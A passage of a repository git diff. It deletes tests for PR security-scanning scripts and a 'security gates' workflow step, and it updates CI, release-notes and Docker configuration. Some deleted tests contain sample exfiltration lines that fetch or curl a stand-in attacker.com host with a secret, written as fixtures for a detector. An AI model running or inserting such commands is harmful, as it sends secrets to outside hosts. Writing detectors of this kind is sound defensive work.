-  assert.ok(flags.length > 0);
-  assert.ok(flags[0].packages.includes('evil-package'));
-});
-
-test('scanSupplyChain: does not flag version-only bumps', () => {
-  const patch = `@@ -1,3 +1,3 @@
- packages:
--  'existing-package@1.0.0':
-+  'existing-package@2.0.0':
-`;
-  const files = [{ filename: 'pnpm-lock.yaml', patch }];
-  assert.equal(scanSupplyChain(files).length, 0);
-});
-
-test('scanSupplyChain: flags pnpm v9-style unquoted package entries', () => {
-  const patch = `@@ -1,2 +1,3 @@
-+evil-package@1.0.0:
- existing-package@2.0.0:
-`;
-  const files = [{ filename: 'pnpm-lock.yaml', patch }];
-  const flags = scanSupplyChain(files);
-  assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
-});
-
-test('scanSupplyChain: ignores peer suffixes when matching package names', () => {
-  const patch = `@@ -1,2 +1,2 @@
--@scope/pkg@1.0.0(react@18.2.0):
-+@scope/pkg@2.0.0(react@18.2.0):
-`;
-  const files = [{ filename: 'pnpm-lock.yaml', patch }];
-  assert.equal(scanSupplyChain(files).length, 0);
-});
-
-test('scanSupplyChain: flags net-new packages that include pnpm peer suffixes', () => {
-  const patch = `@@ -1,2 +1,3 @@
-+evil-package@1.0.0(react@18.2.0):
- existing-package@2.0.0:
-`;
-  const files = [{ filename: 'pnpm-lock.yaml', patch }];
-  const flags = scanSupplyChain(files);
-  assert.deepEqual(flags, [{ check: 'supply-chain', packages: ['evil-package'] }]);
-});
-
-test('findExistingDraftAdvisory: returns matching draft advisory from paginated results', async () => {
-  const calls = [];
-  const fakeFetch = async (path) => {
-    calls.push(path);
-    if (/[?&]page=1(?:&|$)/.test(path)) {
-      return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${i}` }));
-    }
-    if (/[?&]page=2(?:&|$)/.test(path)) {
-      return [{ summary: '🚨 Security flag — PR #6469: ci-tampering' }];
-    }
-    return [];
-  };
-
-  const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
-
-  assert.deepEqual(advisory, { summary: '🚨 Security flag — PR #6469: ci-tampering' });
-  assert.equal(calls.length, 2);
-});
-
-test('findExistingDraftAdvisory: returns null when no matching draft advisory exists', async () => {
-  const fakeFetch = async () => [{ summary: 'Completely different advisory' }];
-  const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
-  assert.equal(advisory, null);
-});
-
-test('findExistingDraftAdvisory: bails out at the page cap so a large backlog cannot hang the workflow', async () => {
-  let pageCount = 0;
-  const fakeFetch = async () => {
-    pageCount += 1;
-    return Array.from({ length: 100 }, (_, i) => ({ summary: `Unrelated advisory ${pageCount}-${i}` }));
-  };
-
-  const advisory = await findExistingDraftAdvisory(fakeFetch, 'token', 'paperclipai/paperclip', 6469);
-
-  assert.equal(advisory, null);
-  assert.equal(pageCount, 20, `expected pagination to run exactly 20 pages (the cap), got ${pageCount}`);
-});
-
-test('syncDraftAdvisory: patches an existing advisory with the latest flags', async () => {
-  const calls = [];
-  const flags = [
-    { check: 'ci-tampering', file: '.github/workflows/pr.yml' },
-    { check: 'secret-scan', file: 'src/config.ts', pattern: 'OpenAI API key' },
-  ];
-
-  await syncDraftAdvisory(async (path, token, options) => {
-    calls.push({ path, token, options });
-    if (path.includes('/security-advisories?state=draft')) {
-      return [{ ghsa_id: 'GHSA-test-1234', summary: '🚨 Security flag — PR #6469: ci-tampering' }];
-    }
-    return { ok: true };
-  }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
-
-  assert.equal(calls.length, 2);
-  assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories/GHSA-test-1234');
-  assert.equal(calls[1].options.method, 'PATCH');
-  const patchBody = JSON.parse(calls[1].options.body);
-  const { vulnerabilities, ...expectedPatch } = buildAdvisoryPayload(6469, 'My PR', flags);
-  assert.deepEqual(patchBody, expectedPatch);
-  assert.ok(!('vulnerabilities' in patchBody), 'PATCH must omit vulnerabilities (GitHub rejects empty array with 422)');
-});
-
-test('syncDraftAdvisory: creates a new advisory when none exists', async () => {
-  const calls = [];
-  const flags = [{ check: 'supply-chain', packages: ['evil-package'] }];
-
-  await syncDraftAdvisory(async (path, token, options) => {
-    calls.push({ path, token, options });
-    if (path.includes('/security-advisories?state=draft')) {
-      return [];
-    }
-    return { ok: true };
-  }, 'token', 'paperclipai/paperclip', 6469, 'My PR', flags);
-
-  assert.equal(calls.length, 2);
-  assert.equal(calls[1].path, '/repos/paperclipai/paperclip/security-advisories');
-  assert.equal(calls[1].options.method, 'POST');
-  assert.deepEqual(JSON.parse(calls[1].options.body), buildAdvisoryPayload(6469, 'My PR', flags));
-});
-
-test('postSecurityCheckRun: uses the injected fetch implementation', async () => {
-  const calls = [];
-
-  await postSecurityCheckRun(async (path, token, options) => {
-    calls.push({ path, token, options });
-    return { ok: true };
-  }, 'token', 'paperclipai/paperclip', 'deadbeef', true);
-
-  assert.equal(calls.length, 1);
-  assert.equal(calls[0].path, '/repos/paperclipai/paperclip/check-runs');
-  assert.equal(calls[0].options.method, 'POST');
-  assert.deepEqual(JSON.parse(calls[0].options.body), {
-    name: 'security-review',
-    head_sha: 'deadbeef',
-    status: 'completed',
-    conclusion: 'neutral',
-    output: {
-      title: 'Security Review Recommended',
-      summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.',
-    },
-  });
-});
-
-test('validateSensitivePaths: checks paths against the resolved base ref instead of master', async () => {
-  const seenPaths = [];
-  const stale = await validateSensitivePaths(
-    'token',
-    'paperclipai/paperclip',
-    6469,
-    'release/1.2',
-    async (path) => {
-      seenPaths.push(path);
-      return { ok: true };
-    },
-  );
-
-  assert.deepEqual(stale, []);
-  assert.ok(seenPaths.every(path => path.includes('ref=release%2F1.2')));
-  assert.ok(!seenPaths.some(path => path.includes('ref=master')));
-});
-
-test('validateSensitivePaths: returns only 404 paths and rethrows non-404 errors', async () => {
-  let seen404 = false;
-  const stale = await validateSensitivePaths(
-    'token',
-    'paperclipai/paperclip',
-    6469,
-    'main',
-    async (path) => {
-      if (!seen404) {
-        seen404 = true;
-        throw new Error('GitHub API GET /contents/foo → 404: missing');
-      }
-      return { ok: true };
-    },
-  );
-
-  assert.equal(stale.length, 1);
-
-  await assert.rejects(
-    validateSensitivePaths(
-      'token',
-      'paperclipai/paperclip',
-      6469,
-      'main',
-      async () => {
-        throw new Error('GitHub API GET /contents/foo → 500: boom');
-      },
-    ),
-    /500: boom/
-  );
-});
-
-// ── scanTestPatterns ─────────────────────────────────────────────────────────
-
-test('scanTestPatterns: flags outbound fetch in test file', () => {
-  const files = [{
-    filename: 'src/foo.test.ts',
-    patch: `+  const res = await fetch('https://attacker.com/collect')`,
-  }];
-  assert.ok(scanTestPatterns(files).length > 0);
-});
-
-test('scanTestPatterns: flags execSync in test file', () => {
-  const files = [{
-    filename: 'src/foo.test.ts',
-    patch: `+  execSync('curl https://attacker.com?data=' + secret)`,
-  }];
-  assert.ok(scanTestPatterns(files).length > 0);
-});
-
-test('scanTestPatterns: ignores suspicious patterns in non-test files', () => {
-  const files = [{
-    filename: 'src/api.ts',
-    patch: `+  const res = await fetch('https://api.example.com')`,
-  }];
-  assert.equal(scanTestPatterns(files).length, 0);
-});
-
-test('scanTestPatterns: flags suspicious patterns in __tests__ directories', () => {
-  const files = [{
-    filename: 'src/__tests__/foo.ts',
-    patch: `+  execSync('curl https://attacker.com?data=' + secret)`,
-  }];
-  assert.ok(scanTestPatterns(files).length > 0);
-});
-
-// ── scanSensitivePaths ───────────────────────────────────────────────────────
-
-test('scanSensitivePaths: flags changes to agents route (API key IDOR / cross-tenant)', () => {
-  const files = [{ filename: 'server/src/routes/agents.ts', status: 'modified' }];
-  assert.ok(scanSensitivePaths(files).length > 0);
-});
-
-test('scanSensitivePaths: flags changes to MarkdownBody (XSS via urlTransform)', () => {
-  const files = [{ filename: 'ui/src/components/MarkdownBody.tsx', status: 'modified' }];
-  assert.ok(scanSensitivePaths(files).length > 0);
-});
-
-test('scanSensitivePaths: flags changes to company-skills route (malicious skill exfil)', () => {
-  const files = [{ filename: 'server/src/routes/company-skills.ts', status: 'modified' }];
-  assert.ok(scanSensitivePaths(files).length > 0);
-});
-
-test('scanSensitivePaths: ignores unrelated paths', () => {
-  const files = [{ filename: 'server/src/utils/date.ts', status: 'modified' }];
-  assert.equal(scanSensitivePaths(files).length, 0);
-});
-
-test('scanSensitivePaths: ignores removed files even on sensitive paths', () => {
-  const files = [{ filename: 'server/src/routes/agents.ts', status: 'removed' }];
-  assert.equal(scanSensitivePaths(files).length, 0);
-});
-
-// ── startScriptWatchdog ──────────────────────────────────────────────────────
-
-test('startScriptWatchdog: fires exit(0) when the wall-clock budget is exceeded', async () => {
-  let exitCode = null;
-  const fakeExit = (code) => { exitCode = code; };
-  startScriptWatchdog(20, fakeExit);
-  await new Promise((resolve) => setTimeout(resolve, 60));
-  assert.equal(exitCode, 0, 'watchdog should have exited with code 0 by now');
-});
-
-test('startScriptWatchdog: cleared timer never fires', async () => {
-  let exitCode = null;
-  const fakeExit = (code) => { exitCode = code; };
-  const timer = startScriptWatchdog(20, fakeExit);
-  clearTimeout(timer);
-  await new Promise((resolve) => setTimeout(resolve, 60));
-  assert.equal(exitCode, null, 'cleared watchdog must not call exit');
-});
-
-// ── ghFetch timeout ──────────────────────────────────────────────────────────
-
-test('ghFetch: aborts the request when the per-call timeout elapses', async () => {
-  const originalFetch = globalThis.fetch;
-  // Replace global fetch with one that respects the AbortSignal but never resolves on its own.
-  globalThis.fetch = (_url, init) => new Promise((_resolve, reject) => {
-    init?.signal?.addEventListener('abort', () => {
-      const err = new Error('aborted');
-      err.name = 'AbortError';
-      reject(err);
-    }, { once: true });
-  });
-
-  try {
-    const start = Date.now();
-    await assert.rejects(
-      ghFetch('/repos/example/example/security-advisories', 'token', { timeoutMs: 30 }),
-      /aborted|abort/i,
-    );
-    const elapsed = Date.now() - start;
-    assert.ok(elapsed < 500, `ghFetch should abort within the timeout, took ${elapsed}ms`);
-  } finally {
-    globalThis.fetch = originalFetch;
-  }
-});
diff --git a/.github/workflows/commitperclip-review.yml b/.github/workflows/commitperclip-review.yml
index 6b712277294..4078244d794 100644
--- a/.github/workflows/commitperclip-review.yml
+++ b/.github/workflows/commitperclip-review.yml
@@ -9,7 +9,6 @@ on:
 
 permissions:
   pull-requests: write
-  security-events: write
   checks: write
   contents: read
 
@@ -32,7 +31,7 @@ jobs:
       - name: Set up Node
         uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0
         with:
-          node-version: '20'
+          node-version: '24'
 
       - name: Generate commitperclip token
         id: token
@@ -55,16 +54,6 @@ jobs:
           PR_AUTHOR: ${{ github.event.pull_request.user.login }}
           PR_BRANCH: ${{ github.event.pull_request.head.ref }}
 
-      - name: Run security gates
-        run: node .github/scripts/check-pr-security.mjs
-        continue-on-error: true
-        timeout-minutes: 3
-        env:
-          GH_TOKEN: ${{ steps.token.outputs.value }}
-          GH_REPO: ${{ github.repository }}
-          PR_NUMBER: ${{ github.event.pull_request.number }}
-          PR_AUTHOR: ${{ github.event.pull_request.user.login }}
-
       - name: Fail if quality gates failed
         if: >-
           github.event.pull_request.user.login != 'dependabot[bot]' &&
diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml
index 2e41dd7657b..549595dbe38 100644
--- a/.github/workflows/docker.yml
+++ b/.github/workflows/docker.yml
@@ -82,7 +82,7 @@ jobs:
       - name: Setup Node.js
         uses: actions/setup-node@v7
         with:
-          node-version: 20
+          node-version: 24
 
       - name: Refresh lockfile for Docker build context
         run: |
@@ -257,7 +257,7 @@ jobs:
       - name: Setup Node.js
         uses: actions/setup-node@v7
         with:
-          node-version: 20
+          node-version: 24
 
       - name: Refresh lockfile for Docker build context
         run: |
diff --git a/.github/workflows/e2e.yml b/.github/workflows/e2e.yml
index 68042c04963..1b5159a0726 100644
--- a/.github/workflows/e2e.yml
+++ b/.github/workflows/e2e.yml
@@ -24,7 +24,7 @@ jobs:
 
       - uses: actions/setup-node@v7
         with:
-          node-version: 20
+          node-version: 24
           cache: pnpm
 
       - run: pnpm install --frozen-lockfile
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 925c520ba45..b1f41389593 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -49,11 +49,16 @@ jobs:
       - name: Validate Dockerfile deps stage
         run: node ./scripts/check-docker-deps-stage.mjs
 
+      - name: Validate Node version policy
+        run: pnpm check:node-version
+
       - name: Reject git push in adapter/runtime code
         run: node ./scripts/check-no-git-push.mjs
 
       - name: Test no-git-push check
         run: node --test ./scripts/check-no-git-push.test.mjs
+      - name: Test PR quality-gate scripts
+        run: node --test '.github/scripts/tests/*.test.mjs'
 
       - name: Test general-server shard partition
         run: node --test ./scripts/__tests__/run-vitest-stable-shard.test.mjs
@@ -287,9 +292,11 @@ jobs:
       fail-fast: false
       matrix:
         include:
-          # A successful PR run on 2026-08-04 (30876682788) spent 256s in
-          # serialized shard 2/4, making its 305s job the run's slowest check.
-          # Five shards reduce the measured 739s suite total to about 148s per
+          # A successful PR run on 2026-08-17 (32012408876) spent 291s in
+          # serialized shard 1/5 while its siblings ran 170-201s: round-robin
+          # clustered the heavy suites on one runner. Shards are now balanced
+          # by recorded duration (scripts/serialized-shard-durations.json),
+          # which levels the measured 968s suite total to about 194s per
           # runner before setup overhead.
           - shard_index: 0
             shard_count: 5
diff --git a/.github/workflows/refresh-lockfile.yml b/.github/workflows/refresh-lockfile.yml
index 06546bbb735..49ac2176e7f 100644
--- a/.github/workflows/refresh-lockfile.yml
+++ b/.github/workflows/refresh-lockfile.yml
@@ -31,7 +31,7 @@ jobs:
       - name: Setup Node.js
         uses: actions/setup-node@v7
         with:
-          node-version: 20
+          node-version: 24
           cache: pnpm
 
       - name: Refresh pnpm lockfile
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 931694db1bc..29abc996c5c 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -49,6 +49,20 @@ concurrency:
   group: release-${{ github.event_name }}-${{ github.ref }}
   cancel-in-progress: false
 
+env:
+  # npm accepts a publish immediately, but the registry's CDN can lag packument
+  # propagation by several minutes (observed 2.5-4+ minutes on 2026-08-21,
+  # which failed four consecutive canary runs mid-loop). Give release.sh's
+  # post-publish visibility poll a 10-minute budget per package instead of its
+  # 60-second default; a healthy publish still exits the poll on the first
+  # visible check. (A 5-minute budget missed by seconds on 2026-08-21:
+  # adapter-opencode-local was accepted at 07:02:27 and became visible at
+  # 07:07:40.) The publish jobs' timeout-minutes are sized for several
+  # laggard packages; if most of a batch lags the full budget, npm is having
+  # a real incident and the job failing is correct.
+  NPM_PUBLISH_VERIFY_ATTEMPTS: "60"
+  NPM_PUBLISH_VERIFY_DELAY_SECONDS: "10"
+
 jobs:
   verify_canary:
     if: github.event_name == 'push'
@@ -60,7 +74,7 @@ jobs:
     if: github.event_name == 'push'
     needs: verify_canary
     runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
     environment: npm-canary
     permissions:
       contents: write
@@ -236,7 +250,7 @@ jobs:
       (needs.smoke_nightly.result == 'success' ||
        (needs.smoke_nightly.result == 'skipped' && github.event_name == 'workflow_dispatch' && inputs.dry_run))
     runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
     environment: npm-canary
     # The workflow-level concurrency group is per event, so a forced dispatch
     # nightly could otherwise overlap the scheduled one and race it to the
@@ -502,7 +516,7 @@ jobs:
       (needs.verify_beta_candidate.result == 'success' ||
        (needs.verify_beta_candidate.result == 'skipped' && needs.select_beta.outputs.mode == 'promote'))
     runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
     environment: npm-beta
     # Serialize beta publishes so two dispatches cannot race to the same next
     # -beta.N version; release.sh additionally refuses to double-publish a
@@ -621,11 +635,79 @@ jobs:
           } >> "$GITHUB_STEP_SUMMARY"
           gh workflow run docker.yml --ref "refs/tags/${tag}" --repo "$GITHUB_REPOSITORY"
 
+  # Draft the eventual stable's release notes the moment the beta exists:
+  # the promoted bits are frozen now, and the 3-day soak is the natural
+  # review window. The draft lands on a machine-owned branch; a human opens
+  # and merges the PR, because a PR created with GITHUB_TOKEN would not
+  # trigger the pr.yml checks a merge requires.
+  draft_stable_notes:
+    needs: [select_beta, publish_beta]
+    if: ${{ !cancelled() && !inputs.dry_run && needs.publish_beta.result == 'success' }}
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    permissions:
+      contents: write
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v7
+        with:
+          ref: master
+          fetch-depth: 0
+
+      - name: Configure git author
+        run: |
+          git config user.name "github-actions[bot]"
+          git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
+
+      - name: Draft stable notes from the published beta
+        env:
+          BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }}
+          SOURCE_SHA: ${{ needs.select_beta.outputs.sha }}
+        run: |
+          set -euo pipefail
+          git fetch origin --tags --quiet
+          # A rejected beta tag push (the workflows-permission case) leaves
+          # the tag absent from origin while npm already has the beta;
+          # recreate it locally so drafting does not block on the manual
+          # tag recovery.
+          if ! git rev-parse --verify "refs/tags/beta/v${BETA_VERSION}" >/dev/null 2>&1; then
+            git tag "beta/v${BETA_VERSION}" "${SOURCE_SHA}"
+          fi
+          ./scripts/draft-stable-notes.sh "${BETA_VERSION}"
+
+      - name: Push the draft branch
+        env:
+          BETA_VERSION: ${{ needs.publish_beta.outputs.beta_version }}
+        run: |
+          set -euo pipefail
+          branch="release-notes/v${BETA_VERSION}"
+          git checkout -B "$branch"
+          git add "releases/beta/v${BETA_VERSION}.md"
+          git commit -m "docs(release): draft stable notes for beta ${BETA_VERSION}"
+          # Machine-owned branch: force push so a re-run regenerates cleanly.
+          git push -f origin "$branch"
+          {
+            echo "## Stable notes draft pushed"
+            echo ""
+            echo "- Branch: \`${branch}\`"
+            echo "- Open the PR (a human opens it so CI runs):"
+            echo "  https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1"
+            echo "- Edit it during the soak. The stable promotion reads"
+            echo "  \`releases/beta/v${BETA_VERSION}.md\` from master."
+          } >> "$GITHUB_STEP_SUMMARY"
+
   # Post-publish verification: run the release smoke suite against the exact
   # beta version that was just published.
+  #
+  # The condition must carry an explicit status-check function: without one,
+  # GitHub attaches an implicit success(), which evaluates the needs chain
+  # transitively — and publish_beta's chain contains verify_beta_candidate,
+  # which is skipped on every promote-mode beta. The implicit form silently
+  # skipped this job on the first promote-mode beta after the candidate
+  # lane landed.
   smoke_beta:
     needs: publish_beta
-    if: ${{ !inputs.dry_run }}
+    if: ${{ !cancelled() && needs.publish_beta.result == 'success' && !inputs.dry_run }}
     uses: ./.github/workflows/release-smoke.yml
     with:
       paperclip_version: ${{ needs.publish_beta.outputs.beta_version }}
@@ -649,6 +731,11 @@ jobs:
       contents: read
     outputs:
       sha: ${{ steps.soak.outputs.sha }}
+      beta_version: ${{ steps.soak.outputs.beta_version }}
+      stable_version: ${{ steps.notes.outputs.stable_version }}
+      notes_mode: ${{ steps.notes.outputs.notes_mode }}
+      notes_path: ${{ steps.notes.outputs.notes_path }}
+      notes_ref: ${{ steps.notes.outputs.notes_ref }}
     steps:
       - name: Checkout repository
         uses: actions/checkout@v7
@@ -717,6 +804,7 @@ jobs:
           fi
 
           beta_version="${beta_tag#beta/v}"
+          echo "beta_version=${beta_version}" >> "$GITHUB_OUTPUT"
           publish_time="$(npm view "paperclipai@${beta_version}" time --json 2>/dev/null \
             | node -e 'let d="";process.stdin.on("data",c=>d+=c).on("end",()=>{const t=JSON.parse(d);process.stdout.write(typeof t === "string" ? t : (t[process.argv[1]] ?? ""))})' "$beta_version" || true)"
           if [ -z "$publish_time" ]; then
@@ -740,6 +828,58 @@ jobs:
             echo "- Soak time: ${age_days} days"
           } >> "$GITHUB_STEP_SUMMARY"
 
+      # The stable notes need not exist inside the promoted source commit:
+      # a promoted beta's notes are drafted on master (releases/beta/v*.md)
+      # at beta-publish time and edited during the soak. Resolve which copy
+      # publish_stable should read, and fail early — before the npm-stable
+      # approval gate — when none exists. Notes inside the source tree
+      # (the candidate fix path) take precedence.
+      - name: Resolve stable release notes
+        id: notes
+        env:
+          SHA: ${{ steps.soak.outputs.sha }}
+          BETA_VERSION: ${{ steps.soak.outputs.beta_version }}
+          STABLE_DATE: ${{ inputs.stable_date }}
+          DRY_RUN: ${{ inputs.dry_run }}
+        run: |
+          set -euo pipefail
+
+          # Pin the master revision the notes were resolved at, so the
+          # publish and canonicalization steps read the same content even
+          # when master advances during the approval delay.
+          echo "notes_ref=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT"
+
+          args=(stable --print-version)
+          if [ -n "${STABLE_DATE}" ]; then
+            args+=(--date "${STABLE_DATE}")
+          fi
+          version="$(./scripts/release.sh "${args[@]}")"
+          echo "stable_version=${version}" >> "$GITHUB_OUTPUT"
+
+          if git cat-file -e "${SHA}:releases/v${version}.md" 2>/dev/null; then
+            echo "notes_mode=source_tree" >> "$GITHUB_OUTPUT"
+            echo "notes_path=releases/v${version}.md" >> "$GITHUB_OUTPUT"
+            echo "- Stable notes: \`releases/v${version}.md\` at the source commit" >> "$GITHUB_STEP_SUMMARY"
+            exit 0
+          fi
+
+          if [ -n "${BETA_VERSION}" ] && [ -f "releases/beta/v${BETA_VERSION}.md" ]; then
+            echo "notes_mode=master_beta" >> "$GITHUB_OUTPUT"
+            echo "notes_path=releases/beta/v${BETA_VERSION}.md" >> "$GITHUB_OUTPUT"
+            echo "- Stable notes: \`releases/beta/v${BETA_VERSION}.md\` on master" >> "$GITHUB_STEP_SUMMARY"
+            exit 0
+          fi
+
+          msg="no release notes found for stable ${version}: neither releases/v${version}.md at the source commit nor releases/beta/v${BETA_VERSION:-<beta>}.md on master. Merge the notes PR from the beta's draft branch (release-notes/v<beta-version>), or add the file to the source ref."
+          if [ "${DRY_RUN}" = "true" ]; then
+            echo "::warning::${msg}"
+            echo "- Stable notes: MISSING (a real release would be blocked)" >> "$GITHUB_STEP_SUMMARY"
+            echo "notes_mode=missing" >> "$GITHUB_OUTPUT"
+            exit 0
+          fi
+          echo "::error::${msg}"
+          exit 1
+
   verify_stable:
     if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable'
     needs: preflight_stable
@@ -793,12 +933,14 @@ jobs:
     if: github.event_name == 'workflow_dispatch' && inputs.channel == 'stable' && !inputs.dry_run
     needs: [preflight_stable, verify_stable]
     runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
     environment: npm-stable
     permissions:
       contents: write
       id-token: write
       actions: write
+    outputs:
+      stable_version: ${{ steps.tag.outputs.version }}
 
     steps:
       - name: Checkout repository
@@ -829,6 +971,22 @@ jobs:
           git config user.name "github-actions[bot]"
           git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
 
+      # A promoted beta's notes live on master (drafted at beta publish,
+      # edited during the soak), not inside the promoted source commit — a
+      # commit cannot carry a file named for a promotion date that was
+      # unknown when it was created. Materialize them outside the worktree
+      # so release.sh still runs against a clean source checkout.
+      - name: Materialize stable release notes from master
+        if: needs.preflight_stable.outputs.notes_mode == 'master_beta'
+        env:
+          NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }}
+          NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }}
+        run: |
+          set -euo pipefail
+          git fetch origin master --quiet
+          git show "${NOTES_REF}:${NOTES_PATH}" > "$RUNNER_TEMP/stable-notes.md"
+          echo "STABLE_NOTES_FILE=$RUNNER_TEMP/stable-notes.md" >> "$GITHUB_ENV"
+
       - name: Publish stable
         env:
           GITHUB_ACTIONS: "true"
@@ -837,6 +995,9 @@ jobs:
           if [ -n "${{ inputs.stable_date }}" ]; then
             args+=(--date "${{ inputs.stable_date }}")
           fi
+          if [ -n "${STABLE_NOTES_FILE:-}" ]; then
+            args+=(--notes-file "$STABLE_NOTES_FILE")
+          fi
           ./scripts/release.sh "${args[@]}"
 
       - name: Dump npm debug logs
@@ -850,12 +1011,14 @@ jobs:
           done
 
       - name: Push stable tag
+        id: tag
         run: |
           tag="$(git tag --points-at HEAD | grep '^v' | head -1)"
           if [ -z "$tag" ]; then
             echo "Error: no stable tag points at HEAD after release." >&2
             exit 1
           fi
+          echo "version=${tag#v}" >> "$GITHUB_OUTPUT"
           if ! git push origin "refs/tags/${tag}"; then
             sha="$(git rev-parse HEAD)"
             {
@@ -906,4 +1069,59 @@ jobs:
             echo "Error: no v* tag points at HEAD after stable release." >&2
             exit 1
           fi
-          ./scripts/create-github-release.sh "$version"
+          args=("$version")
+          if [ -n "${STABLE_NOTES_FILE:-}" ]; then
+            args+=(--notes-file "$STABLE_NOTES_FILE")
+          fi
+          ./scripts/create-github-release.sh "${args[@]}"
+
+  # After a stable ships from master-side beta notes, move the file to its
+  # canonical home (releases/vYYYY.MDD.P.md) so the stable-notes invariant
+  # holds durably. Machine-owned branch + human-opened PR, as with the
+  # draft job above.
+  canonicalize_stable_notes:
+    needs: [preflight_stable, publish_stable]
+    if: ${{ needs.preflight_stable.outputs.notes_mode == 'master_beta' && needs.publish_stable.result == 'success' }}
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    permissions:
+      contents: write
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v7
+        with:
+          ref: master
+          fetch-depth: 0
+
+      - name: Configure git author
+        run: |
+          git config user.name "github-actions[bot]"
+          git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
+
+      - name: Push the canonicalization branch
+        env:
+          STABLE_VERSION: ${{ needs.publish_stable.outputs.stable_version }}
+          NOTES_PATH: ${{ needs.preflight_stable.outputs.notes_path }}
+          NOTES_REF: ${{ needs.preflight_stable.outputs.notes_ref }}
+        run: |
+          set -euo pipefail
+          branch="release-notes/v${STABLE_VERSION}-canonicalize"
+          git checkout -B "$branch"
+          # Canonicalize exactly what shipped: take the notes at the pinned
+          # revision the release read them from, so a master edit made
+          # during the run surfaces as a reviewable diff in this PR instead
+          # of silently diverging from the published GitHub Release.
+          git show "${NOTES_REF}:${NOTES_PATH}" > "releases/v${STABLE_VERSION}.md"
+          git add "releases/v${STABLE_VERSION}.md"
+          if git ls-files --error-unmatch "${NOTES_PATH}" >/dev/null 2>&1; then
+            git rm -q "${NOTES_PATH}"
+          fi
+          git commit -m "docs(release): canonicalize stable notes for v${STABLE_VERSION}"
+          git push -f origin "$branch"
+          {
+            echo "## Stable notes canonicalization pushed"
+            echo ""
+            echo "- Branch: \`${branch}\`"
+            echo "- Open and merge the PR (a human opens it so CI runs):"
+            echo "  https://github.com/${GITHUB_REPOSITORY}/compare/master...${branch}?expand=1"
+          } >> "$GITHUB_STEP_SUMMARY"
diff --git a/.nvmrc b/.nvmrc
new file mode 100644
index 00000000000..a45fd52cc58
--- /dev/null
+++ b/.nvmrc
@@ -0,0 +1 @@
+24
diff --git a/Dockerfile b/Dockerfile
index 2769078b668..c41520df329 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,5 +1,5 @@
 # syntax=docker/dockerfile:1.20
-FROM node:lts-trixie-slim AS base
+FROM node:24-trixie-slim AS base
 ARG USER_UID=1000
 ARG USER_GID=1000
 RUN apt-get update \
@@ -25,6 +25,7 @@ COPY packages/google-sheets-mcp-server/package.json packages/google-sheets-mcp-s
 COPY packages/kv-demo-mcp-server/package.json packages/kv-demo-mcp-server/
 COPY packages/mcp-server/package.json packages/mcp-server/
 COPY packages/skills-catalog/package.json packages/skills-catalog/
+COPY packages/tailscale-https-broker/package.json packages/tailscale-https-broker/
 COPY packages/teams-catalog/package.json packages/teams-catalog/
 COPY packages/adapters/claude-local/package.json packages/adapters/claude-local/
 COPY packages/adapters/codex-local/package.json packages/adapters/codex-local/
@@ -32,6 +33,7 @@ COPY packages/adapters/cursor-cloud/package.json packages/adapters/cursor-cloud/
 COPY packages/adapters/cursor-local/package.json packages/adapters/cursor-local/
 COPY packages/adapters/gemini-local/package.json packages/adapters/gemini-local/
 COPY packages/adapters/grok-local/package.json packages/adapters/grok-local/
+COPY packages/adapters/kimi-local/package.json packages/adapters/kimi-local/
 COPY packages/adapters/hermes/package.json packages/adapters/hermes/
 COPY packages/adapters/hermes-gateway/package.json packages/adapters/hermes-gateway/
 COPY packages/adapters/openclaw-gateway/package.json packages/adapters/openclaw-gateway/
@@ -53,6 +55,14 @@ COPY --from=deps /app /app
 COPY . .
 RUN pnpm --filter @paperclipai/ui build
 RUN pnpm --filter @paperclipai/plugin-sdk build
+# The server build runs scripts/write-build-stamp.mjs, which stamps the built
+# commit into dist/build-info.json. The build context has no .git, so the
+# script reads PAPERCLIP_BUILD_COMMIT instead. Docker exposes an ARG to the
+# next RUN as an environment variable, so declare it here — in the build
+# stage — before the server build. The production stage below declares the
+# same ARG again for the runtime fallback; an ARG goes out of scope at the
+# end of its stage. Empty for local `docker build`, which then writes no stamp.
+ARG PAPERCLIP_BUILD_COMMIT=""
 RUN pnpm --filter @paperclipai/server build
 RUN test -f server/dist/index.js || (echo "ERROR: server build output missing" && exit 1)
 
@@ -77,7 +87,7 @@ WORKDIR /app
 # (the single most expensive layer: four CLI toolchains + apt, per arch) can
 # never hit the layer cache and rebuilds on every build.
 RUN echo "cli-tools-epoch: ${CLI_TOOLS_CACHE_EPOCH}" \
-  && npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest \
+  && npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest @moonshot-ai/kimi-code@latest \
   && apt-get update \
